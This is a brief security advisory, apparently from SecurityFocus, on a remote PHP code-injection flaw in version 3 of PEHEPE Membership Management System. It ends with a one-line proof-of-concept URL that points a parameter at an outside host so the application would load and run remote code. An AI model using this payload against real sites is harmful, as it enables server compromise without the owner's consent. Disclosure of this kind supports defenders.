source: https://www.securityfocus.com/bid/16887/info

PEHEPE Membership Management System is prone to a remote PHP code-injection vulnerability. 

An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible. 

PEHEPE Membership Management System version 3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/sol_menu.php?uye_klasor=http://www.example.org&misafir[]=UYE_SEVIYE